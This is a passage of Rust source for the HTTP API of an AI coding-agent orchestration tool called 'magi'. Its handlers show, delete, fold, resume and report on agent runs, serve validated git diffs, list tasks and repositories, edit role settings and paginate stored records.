4496        let id = resolve_run(&ui.runs, &id)?;
4497        let state = read_run(&ui.runs, &id)?;
4498        let live = state.liveness(crate::daemon::is_working_on(
4499            &ui.home,
4500            &id,
4501            Timestamp::now(),
4502        ));
4503        let waiting = !ui.questions.open_for(&id).is_empty();
4504        Ok(Json(serde_json::json!({
4505            "id": id, "updated_at": state.updated_at, "live": live,
4506            "observed_at": Timestamp::now(),
4507            "progress": crate::run_progress::build(&state, live, waiting),
4508        })))
4509    })
4510    .await
4511}
4512
4513async fn run_detail(
4514    State(ui): State<Arc<Ui>>,
4515    Path(id): Path<String>,
4516) -> ApiResult<Json<RunDetailView>> {
4517    blocking(move || {
4518        let id = resolve_run(&ui.runs, &id)?;
4519        let state = read_run(&ui.runs, &id)?;
4520        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4521        let live = state.liveness(daemon_claims);
4522        crate::queue::record_ids(ui.questions.root(), "json")?;
4523        let waiting = ui
4524            .questions
4525            .list()
4526            .iter()
4527            .any(|q| q.run == id && q.status.open());
4528        let max_attempts = daemon::Opts::default().max_attempts;
4529
4530        let matching_task = ui.find_task_for_run(&id)?;
4531
4532        let superseded_by = state
4533            .pr_taken_over_by
4534            .clone()
4535            .or_else(|| {
4536                matching_task
4537                    .as_ref()
4538                    .and_then(|t| t.successor_of(&id).cloned())
4539            })
4540            .as_deref()
4541            .map(crate::run::short_of)
4542            .map(str::to_owned);
4543
4544        // Best-effort: an unreadable head (mid-write, or deleted) just means
4545        // this run's own status stands on its own, same as no later attempt
4546        // existing at all.
4547        let latest_attempt = matching_task
4548            .as_ref()
4549            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4550            .and_then(|head_id| {
4551                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4552                    short: head.short().to_owned(),
4553                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4554                    status: head.status,
4555                    done: head.status.done(),
4556                    id: head.id,
4557                })
4558            });
4559
4560        let task = matching_task
4561            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4562
4563        Ok(Json(RunDetailView::of(
4564            state,
4565            waiting,
4566            live,
4567            superseded_by,
4568            latest_attempt,
4569            task,
4570        )))
4571    })
4572    .await
4573}
4574
4575/// `DELETE /api/runs/{id}`.
4576///
4577/// Remove a finished, folded run directory along with its artifacts.
4578/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4579/// deleted. This never touches git worktrees or branches - except for a run
4580/// whose state this build cannot read at all, where there is no candidate
4581/// list to check and the wholesale removal `magi fold` already uses for that
4582/// case is the only meaningful "delete".
4583async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4584    let (id, unreadable) = {
4585        let ui = Arc::clone(&ui);
4586        blocking(move || {
4587            let id = resolve_run(&ui.runs, &id)?;
4588            match read_run(&ui.runs, &id) {
4589                Ok(state) => {
4590                    let in_flight =
4591                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4592                    state
4593                        .ensure_can_delete(in_flight)
4594                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4595                    let dir = ui.runs.join(&id);
4596                    std::fs::remove_dir_all(&dir)
4597                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4598                    Ok((id, false))
4599                }
4600                Err(_) => {
4601                    // Unreadable: there is no candidate list to guard on, so
4602                    // a live daemon's claim is the only thing left to check -
4603                    // the same rule `run_fold` applies for the same reason.
4604                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4605                        return Err(ApiError::conflict(format!(
4606                            "run {id} is being worked on by a live daemon right now"
4607                        )));
4608                    }
4609                    Ok((id, true))
4610                }
4611            }
4612        })
4613        .await?
4614    };
4615    if unreadable {
4616        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4617            .await
4618            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4619    }
4620    let ui = Arc::clone(&ui);
4621    let done = id.clone();
4622    blocking(move || {
4623        // The agent that asked died with the run, so an open question would
4624        // keep asking the operator for a decision nobody can deliver.
4625        ui.questions.abandon_for_run(
4626            &done,
4627            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4628        )?;
4629        Ok(())
4630    })
4631    .await?;
4632    Ok(StatusCode::NO_CONTENT)
4633}
4634
4635/// `POST /api/runs/{id}/fold`.
4636///
4637/// Remove a run's candidate worktrees and branches, keeping its record.
4638///
4639/// This exists because the deck answered "delete this run" with *"Candidates
4640/// must be folded before deleting. Run `magi fold` first."* — a phone being
4641/// told to open a terminal, in the one product whose point is that it does
4642/// not need one. The runs an operator most wants gone are the stalled and
4643/// blocked ones, and those are exactly the runs still holding worktrees:
4644/// three of them here held 53 GB.
4645///
4646/// The winner's tree goes too. A fold is what someone asks for when they are
4647/// finished with a run, and leaving one tree behind would leave the delete
4648/// button disabled for the same reason as before.
4649///
4650/// Refused while a live daemon is working on the run, on the rule that guards
4651/// deletion: folding underneath a running agent would pull the tree it is
4652/// editing out from under it.
4653///
4654/// A run whose state this build cannot read at all falls back to
4655/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4656/// selectively, so the whole record's worktree goes wholesale, exactly what
4657/// `magi fold` does on the command line for the same run.
4658async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4659    let (id, state) = {
4660        let ui = Arc::clone(&ui);
4661        blocking(move || {
4662            let id = resolve_run(&ui.runs, &id)?;
4663            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4664                return Err(ApiError::conflict(format!(
4665                    "run {id} is being worked on by a live daemon right now"
4666                )));
4667            }
4668            let state = read_run(&ui.runs, &id).ok();
4669            Ok((id, state))
4670        })
4671        .await?
4672    };
4673    let removed = match state {
4674        Some(mut state) => {
4675            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4676                .await
4677                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4678            // Nothing left to remove is not the same thing as nothing left to
4679            // do — see `clean::clear_abandoned_active`'s own doc for the run
4680            // this exists for: worktrees already gone, but a killed process
4681            // left active seats nobody will ever answer for.
4682            if removed.is_empty() {
4683                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4684                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4685            }
4686            removed
4687        }
4688        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4689            .await
4690            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4691    };
4692    Ok(Json(FoldView {
4693        run: id,
4694        removed_count: removed.len(),
4695        removed,
4696    }))
4697}
4698
4699/// What a fold took away, so the deck can say so rather than only re-render.
4700#[derive(Debug, Serialize)]
4701struct FoldView {
4702    run: String,
4703    /// Worktree paths and branch names removed, in the order they went.
4704    removed: Vec<String>,
4705    removed_count: usize,
4706}
4707
4708/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4709/// merged outside of `land::land`'s own loop.
4710#[derive(Debug, Deserialize)]
4711struct FoldMergedBody {
4712    #[serde(default)]
4713    pr_url: String,
4714}
4715
4716/// `POST /api/runs/{id}/fold-merged`.
4717///
4718/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4719/// `Blocked` with `merge: null` because magi never got as far as opening a
4720/// pull request of its own (a title over GitHub's length limit, `gh pr
4721/// create` unreachable, a stale token), which the operator then finished by
4722/// hand on a pull request magi never recorded. The "Run actions" sheet used
4723/// to have no way to tell it about that pull request short of a terminal and
4724/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4725/// this exists and what it deliberately does not do (`bump::after_merge`).
4726///
4727/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4728/// correction rewrites the same `status`/`merge` fields a running graph would
4729/// be writing to on its own.
4730///
4731/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4732/// calls plus a fold, seconds of work, and the phone should get its answer
4733/// (which pull request it recorded, and what changed) in the same round
4734/// trip rather than learning it from the change stream.
4735async fn run_fold_merged(
4736    State(ui): State<Arc<Ui>>,
4737    Path(id): Path<String>,
4738    Json(body): Json<FoldMergedBody>,
4739) -> ApiResult<Json<FoldMergedView>> {
4740    let pr_url = body.pr_url.trim().to_owned();
4741    if pr_url.is_empty() {
4742        return Err(ApiError::bad_request("pr_url is required"));
4743    }
4744    let (id, mut state) = {
4745        let ui = Arc::clone(&ui);
4746        blocking(move || {
4747            let id = resolve_run(&ui.runs, &id)?;
4748            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4749                return Err(ApiError::conflict(format!(
4750                    "run {id} is being worked on by a live daemon right now"
4751                )));
4752            }
4753            let state = read_run(&ui.runs, &id)?;
4754            Ok((id, state))
4755        })
4756        .await?
4757    };
4758    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4759        .await
4760        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4761    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4762        .await
4763        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4764    Ok(Json(FoldMergedView {
4765        run: id,
4766        before: before.as_str().to_owned(),
4767        after: after.as_str().to_owned(),
4768        removed,
4769    }))
4770}
4771
4772/// What [`run_fold_merged`] did, so the deck can say so.
4773#[derive(Debug, Serialize)]
4774struct FoldMergedView {
4775    run: String,
4776    /// `status` before the correction — normally `"blocked"`.
4777    before: String,
4778    /// `status` after — normally `"merged"`.
4779    after: String,
4780    /// Worktree paths and branch names the trailing fold removed.
4781    removed: Vec<String>,
4782}
4783
4784/// `POST /api/runs/{id}/resume`.
4785///
4786/// Carry a stalled run on from where it stopped, in the background.
4787///
4788/// A stalled card says "the work is kept" and used to offer no way to act on
4789/// that: the candidates are built and paid for, and continuing means re-asking
4790/// only the seats whose absence collapsed the panel. The alternative an
4791/// operator actually had was releasing the task, which competes three fresh
4792/// implementations against work that already exists.
4793///
4794/// **202, not 200.** A resume runs agents for minutes; holding the connection
4795/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4796/// phone learns the outcome from the change stream.
4797///
4798/// Refused when the loop is running at all, not merely when it is on this run.
4799/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4800/// started a second graph on top of whatever the loop is already driving —
4801/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4802/// allows — would spend that quota twice over for no extra throughput.
4803async fn run_resume(
4804    State(ui): State<Arc<Ui>>,
4805    Path(id): Path<String>,
4806) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4807    let admission = ui.begin_admission()?;
4808    admitted(admission, async move {
4809        let (id, state) = {
4810            let ui = Arc::clone(&ui);
4811            blocking(move || {
4812                let id = resolve_run(&ui.runs, &id)?;
4813                let state = read_run(&ui.runs, &id)?;
4814                Ok((id, state))
4815            })
4816            .await?
4817        };
4818        crate::resume::validate_unqueued(&ui.home, &id)
4819            .map_err(|e| ApiError::conflict(e.to_string()))?;
4820        let _resume = ui.begin_resume(&id)?;
4821
4822        crate::resume::start(&ui.home, id.clone())
4823            .await
4824            .map_err(ApiError::from)?;
4825        // The same shape the list route returns, so the phone updates the card it
4826        // already has rather than learning a second schema for one button.
4827        let queued = RunSummary::of(
4828            &state,
4829            !ui.questions.open_for(&id).is_empty(),
4830            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4831        );
4832        Ok((StatusCode::ACCEPTED, Json(queued)))
4833    })
4834    .await
4835}
4836
4837async fn run_report(
4838    State(ui): State<Arc<Ui>>,
4839    Path(id): Path<String>,
4840) -> ApiResult<impl IntoResponse> {
4841    let text = blocking(move || {
4842        let id = resolve_run(&ui.runs, &id)?;
4843        // Colour is off for the whole process, set once in `serve`. Rendering
4844        // is CPU work over the full state, which is the other reason this is
4845        // not on the executor.
4846        let state = read_run(&ui.runs, &id)?;
4847        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4848        let live = state.liveness(daemon_claims);
4849        Ok(format!(
4850            "{}{}",
4851            report::run(&state),
4852            report::active_seats(&state, live)
4853        ))
4854    })
4855    .await?;
4856    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4857}
4858
4859/// The structured twin of [`run_report`]: the same state, as sections the UI
4860/// draws as cards. An unreadable run answers with the same error the text
4861/// route does; it is never turned into an empty report.
4862async fn run_report_json(
4863    State(ui): State<Arc<Ui>>,
4864    Path(id): Path<String>,
4865) -> ApiResult<Json<crate::report_view::RunReportView>> {
4866    let view = blocking(move || {
4867        let id = resolve_run(&ui.runs, &id)?;
4868        let state = read_run(&ui.runs, &id)?;
4869        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4870        // Only a record that lacks the structured details reads `artifacts/`.
4871        let recovered = state.graft.as_ref().map(|_| {
4872            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4873        });
4874        Ok(crate::report_view::build_with(
4875            &state,
4876            state.liveness(daemon_claims),
4877            recovered.as_ref(),
4878        ))
4879    })
4880    .await?;
4881    Ok(Json(view))
4882}
4883
4884/// Archive access uses validated run-owned records, never a request-supplied path.
4885async fn run_seat_evidence(
4886    State(ui): State<Arc<Ui>>,
4887    Path(id): Path<String>,
4888) -> ApiResult<impl IntoResponse> {
4889    let id = resolve_run(&ui.runs, &id)?;
4890    let heads = crate::retention::seat_heads(&ui.home, &id)
4891        .await
4892        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4893    Ok(Json(heads))
4894}
4895
4896async fn run_seat_diff(
4897    State(ui): State<Arc<Ui>>,
4898    Path((id, head)): Path<(String, String)>,
4899) -> ApiResult<impl IntoResponse> {
4900    let id = resolve_run(&ui.runs, &id)?;
4901    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4902        .await
4903        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4904    Ok((
4905        [
4906            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4907            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4908        ],
4909        patch,
4910    ))
4911}
4912
4913/// Most of a graft diff the route returns.
4914const GRAFT_DIFF_MAX: usize = 400 * 1024;
4915/// How long `git diff` may run.
4916const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4917
4918/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4919/// come from the run record, never from the request.
4920async fn run_graft_diff(
4921    State(ui): State<Arc<Ui>>,
4922    Path(id): Path<String>,
4923) -> ApiResult<impl IntoResponse> {
4924    let (repo, pre, post) = blocking(move || {
4925        let id = resolve_run(&ui.runs, &id)?;
4926        let state = read_run(&ui.runs, &id)?;
4927        let g = state
4928            .graft
4929            .as_ref()
4930            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4931        let post = g
4932            .post
4933            .clone()
4934            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4935        Ok((state.repo.clone(), g.pre.clone(), post))
4936    })
4937    .await?;
4938    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4939    if !hex(&pre) || !hex(&post) {
4940        return Err(ApiError::not_found("the recorded commits are not valid"));
4941    }
4942    let out = tokio::time::timeout(
4943        GRAFT_DIFF_TIMEOUT,
4944        crate::git::git_raw(
4945            &repo,
4946            &[
4947                "diff",
4948                "--no-color",
4949                "--no-ext-diff",
4950                "-M",
4951                &pre,
4952                &post,
4953                "--",
4954            ],
4955        ),
4956    )
4957    .await
4958    .map_err(|_| ApiError::not_found("git diff timed out"))?
4959    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4960    if out.code != Some(0) {
4961        return Err(ApiError::not_found(
4962            "the recorded commits are no longer in the repository",
4963        ));
4964    }
4965    let mut body = out.stdout;
4966    if body.len() > GRAFT_DIFF_MAX {
4967        let mut cut = GRAFT_DIFF_MAX;
4968        while !body.is_char_boundary(cut) {
4969            cut -= 1;
4970        }
4971        body.truncate(cut);
4972        body.push_str("\n... diff truncated ...");
4973    }
4974    Ok((
4975        [
4976            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4977            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4978        ],
4979        body,
4980    ))
4981}
4982
4983/// A task as the UI sees it.
4984///
4985/// The whole task, plus the two things the client would otherwise have to
4986/// reimplement: the human-readable source and the status string. Nothing is
4987/// removed - the phone shows `last_error` and the run history verbatim.
4988#[derive(Debug, Serialize)]
4989struct TaskView {
4990    #[serde(flatten)]
4991    task: Task,
4992    source_label: String,
4993    reassignment_notes: Vec<String>,
4994    source_link: Option<SourceLink>,
4995    status_str: &'static str,
4996    /// Fixed scheduling lane, ahead of ordinary priority order.
4997    upgrade_resume_at: Option<Timestamp>,
4998    /// The instruction, parsed as markdown, for the Queue card's "Full
4999    /// instruction" panel. `task.instruction` is unchanged and still carries
5000    /// the raw text.
5001    instruction_md: Vec<md::Node>,
5002    /// For a blocked task, what it waits on with each dependency's state, e.g.
5003    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5004    /// recurses; empty for every other status.
5005    waits_on: Vec<String>,
5006    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5007    /// behind - non-empty means nothing in the loop will ever run it.
5008    stuck_roots: Vec<String>,
5009    blockers: Vec<crate::blockers::BlockerView>,
5010    recovery: Option<String>,
5011}
5012
5013impl From<Task> for TaskView {
5014    fn from(task: Task) -> Self {
5015        Self {
5016            source_label: task.source.label(),
5017            reassignment_notes: Vec::new(),
5018            source_link: source_link(&task.source),
5019            status_str: task.status.as_str(),
5020            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5021            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5022            waits_on: Vec::new(),
5023            stuck_roots: Vec::new(),
5024            blockers: Vec::new(),
5025            recovery: task_recovery(&task),
5026            task,
5027        }
5028    }
5029}
5030
5031impl TaskView {
5032    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5033        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5034            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5035            if !pending.is_empty() {
5036                self.recovery = Some(format!(
5037                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5038                    self.recovery.as_deref().unwrap_or_default()
5039                ));
5040            }
5041            for decision in pending {
5042                self.blockers.retain(|view| view.id != decision.id);
5043                self.blockers.push(decision);
5044            }
5045        }
5046        self
5047    }
5048
5049    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5050        let waits_on = inv.waits_on(&task);
5051        let stuck_roots = inv
5052            .stuck_roots(&task)
5053            .iter()
5054            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5055            .collect();
5056        Self {
5057            blockers: inv.blocker_views(&task),
5058            waits_on,
5059            stuck_roots,
5060            ..Self::from(task)
5061        }
5062    }
5063}
5064
5065fn task_recovery(task: &Task) -> Option<String> {
5066    use crate::queue::{HoldSource, TaskStatus};
5067    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5068        return None;
5069    }
5070    let mut text = String::new();
5071    if task.status == TaskStatus::Blocked {
5072        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5073        let restored = match task.blocked_from {
5074            Some(TaskStatus::Running) => TaskStatus::Queued,
5075            Some(status) => status,
5076            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5077            None => TaskStatus::Queued,
5078        };
5079        text.push_str(&format!(
5080            "After all dependencies resolve, the scheduler restores {}. ",
5081            restored.as_str()
5082        ));
5083        if restored != TaskStatus::Held {
5084            return Some(text);
5085        }
5086    }
5087    text.push_str(match task.hold_source {
5088        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5089        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5090            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5091        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5092        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5093    });
5094    Some(text)
5095}
5096
5097/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5098/// its absence, leaves the cache to decide.
5099#[derive(Debug, Default, Deserialize)]
5100#[serde(default)]
5101struct ReposQuery {
5102    refresh: u8,
5103}
5104
5105/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5106/// listing `magi repos` prints at a terminal.
5107///
5108/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5109/// so an edit to `magi.toml` takes effect without a restart, the same
5110/// reasoning [`config_for`] documents for the talk routes.
5111async fn repos_list(
5112    State(ui): State<Arc<Ui>>,
5113    Query(q): Query<ReposQuery>,
5114) -> ApiResult<Json<Vec<repos::Repo>>> {
5115    let refresh = q.refresh != 0;
5116    blocking(move || {
5117        let (cfg, _) = Config::discover(&ui.repo, None)?;
5118        Ok(Json(ui.repos_cache.list(
5119            &cfg.repos.roots,
5120            Duration::from_secs(cfg.repos.scan_ttl),
5121            refresh,
5122        )))
5123    })
5124    .await
5125}
5126
5127/// Optional context, restricted to the server's known checkouts.
5128#[derive(Debug, Default, Deserialize)]
5129struct SettingsQuery {
5130    repo: Option<PathBuf>,
5131}
5132
5133/// Always discover against the server's original context, never the selection.
5134/// If that config is broken, retain the default context and machine-only roots
5135/// so the settings error contract and recovery picker remain available.
5136fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5137    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5138        let paths: Vec<PathBuf> = ui
5139            .machine_config
5140            .iter()
5141            .filter(|p| p.is_file())
5142            .cloned()
5143            .collect();
5144        if paths.is_empty() {
5145            Ok(Config::autodetected())
5146        } else {
5147            Config::load_layers(&paths)
5148        }
5149    });
5150    let mut known = cfg
5151        .map(|cfg| {
5152            ui.repos_cache.list(
5153                &cfg.repos.roots,
5154                Duration::from_secs(cfg.repos.scan_ttl),
5155                refresh,
5156            )
5157        })
5158        .unwrap_or_default();
5159    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5160    if !known.iter().any(|r| r.path == path) {
5161        known.push(repos::Repo {
5162            name: path
5163                .file_name()
5164                .unwrap_or_default()
5165                .to_string_lossy()
5166                .into_owned(),
5167            path,
5168        });
5169    }
5170    known
5171}
5172
5173fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5174    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5175    let canonical = requested.canonicalize().ok();
5176    let mut known = settings_repositories(ui, false);
5177    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5178    if !known.iter().any(matches) {
5179        known = settings_repositories(ui, true);
5180    }
5181    let repo = known
5182        .iter()
5183        .find(|r| matches(r))
5184        .map(|r| r.path.clone())
5185        .ok_or_else(|| ApiError {
5186            text_reason: None,
5187            status: StatusCode::UNPROCESSABLE_ENTITY,
5188            message: "Choose a known repository from the Settings selector.".to_owned(),
5189        })?;
5190    Ok((repo, known))
5191}
5192
5193/// `GET /api/settings` - the effective role assignments and roster, with the
5194/// layer each came from. A config that fails to load answers 200 with an
5195/// `error`, so the screen can say so instead of drawing empty lists.
5196async fn settings_get(
5197    State(ui): State<Arc<Ui>>,
5198    Query(q): Query<SettingsQuery>,
5199) -> ApiResult<Json<settings::SettingsView>> {
5200    blocking(move || {
5201        let (repo, known) = settings_context(&ui, q)?;
5202        Ok(Json(settings::view_with_repos(
5203            &repo,
5204            ui.machine_config.as_deref(),
5205            &known,
5206        )))
5207    })
5208    .await
5209}
5210
5211/// The body of `PUT /api/settings/roles`.
5212#[derive(Debug, Deserialize)]
5213#[serde(deny_unknown_fields)]
5214struct RolesBody {
5215    /// The `revision` the client last read.
5216    revision: String,
5217    /// Role key to its new ids; an empty list resets the key to its default.
5218    #[serde(default)]
5219    roles: std::collections::BTreeMap<String, Vec<String>>,
5220    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5221    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5222    /// words (422) instead of as a deserialization error.
5223    #[serde(default)]
5224    counts: std::collections::BTreeMap<String, serde_json::Value>,
5225}
5226
5227/// `PUT /api/settings/roles` - save role assignments to the machine config.
5228///
5229/// The write target is `ui.machine_config` and nothing in the body can change
5230/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5231/// 422 with the reason in words.
5232async fn settings_put_roles(
5233    State(ui): State<Arc<Ui>>,
5234    Query(q): Query<SettingsQuery>,
5235    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5236) -> ApiResult<Json<settings::SettingsView>> {
5237    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5238    blocking(move || {
5239        let (repo, known) = settings_context(&ui, q)?;
5240        settings::save_with_repos(
5241            &repo,
5242            ui.machine_config.as_deref(),
5243            &body.revision,
5244            &body.roles,
5245            &body.counts,
5246            &known,
5247        )
5248        .map(Json)
5249        .map_err(|e| match e {
5250            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5251            settings::SaveError::Refused(m) => ApiError {
5252                text_reason: None,
5253                status: StatusCode::UNPROCESSABLE_ENTITY,
5254                message: m,
5255            },
5256            settings::SaveError::Internal(m) => ApiError::internal(m),
5257        })
5258    })
5259    .await
5260}
5261
5262async fn queue_list(
5263    State(ui): State<Arc<Ui>>,
5264    Query(q): Query<ListQuery>,
5265) -> ApiResult<Json<Vec<TaskView>>> {
5266    blocking(move || {
5267        let tasks = ui.queue.list();
5268        let inv =
5269            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5270        Ok(Json(
5271            tasks
5272                .into_iter()
5273                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5274                .map(|t| TaskView::with_inventory(t, &inv))
5275                .collect(),
5276        ))
5277    })
5278    .await
5279}
5280
5281/// History pages read a bounded number of records; the first conversation
5282/// page also includes every open talk. Cursors advance through a frozen snapshot,
5283/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5284/// Concurrent inserts are reconciled by a trailing store refresh.
5285#[derive(Debug, Default, Deserialize)]
5286struct PageQuery {
5287    before: Option<String>,
5288}
5289
5290#[derive(Serialize)]
5291struct StorePage<T> {
5292    rows: Vec<T>,
5293    next: Option<String>,
5294}
5295
5296const STORE_PAGE_SIZE: usize = 16;
5297
5298/// Freeze membership and the initial open/history boundary for a cursor walk.
5299/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5300/// the next store revision. Never rescan the entire directory for every page.
5301#[derive(Debug)]
5302struct ListWalk {
5303    token: u64,
5304    talks: bool,
5305    opened: std::time::Instant,
5306    ids: Arc<Vec<String>>,
5307    initial_end: usize,
5308}
5309
5310fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5311    page_ids_with(ui, talks, q, open_talk_ids)
5312}
5313
5314fn page_ids_with(
5315    ui: &Ui,
5316    talks: bool,
5317    q: PageQuery,
5318    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5319) -> ApiResult<(Vec<String>, Option<String>)> {
5320    let mut walks = ui
5321        .monitor
5322        .list_walks
5323        .lock()
5324        .unwrap_or_else(PoisonError::into_inner);
5325    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5326    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5327        let (token, offset) = cursor
5328            .split_once(':')
5329            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5330        let token = token
5331            .parse::<u64>()
5332            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5333        let offset = offset
5334            .parse::<usize>()
5335            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5336        let walk = walks
5337            .iter()
5338            .find(|walk| walk.token == token && walk.talks == talks)
5339            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5340        (token, walk.ids.clone(), offset, walk.initial_end)
5341    } else {
5342        // Header I/O must not hold the snapshot registry shared with queue
5343        // pagination or with clients continuing an existing history walk.
5344        drop(walks);
5345        let root = if talks {
5346            ui.talks.root()
5347        } else {
5348            ui.queue.root()
5349        };
5350        let mut ids = crate::queue::record_ids(root, "json")?;
5351        ids.sort_unstable_by(|a, b| b.cmp(a));
5352        let initial_end = if talks {
5353            let open = classify(ui, &ids);
5354            // Stable partition: ID order is only the existing membership order,
5355            // never a substitute for the UI's creation-time ordering.
5356            ids.sort_by_key(|id| !open.contains(id));
5357            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5358        } else {
5359            STORE_PAGE_SIZE.min(ids.len())
5360        };
5361        let ids = Arc::new(ids);
5362        walks = ui
5363            .monitor
5364            .list_walks
5365            .lock()
5366            .unwrap_or_else(PoisonError::into_inner);
5367        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5368        let mut token = crate::rng::entropy();
5369        while walks.iter().any(|walk| walk.token == token) {
5370            token = crate::rng::entropy();
5371        }
5372        // Four clients can enumerate both stores and overlap a refresh. Bound
5373        // retained membership snapshots; an evicted cursor explicitly retries.
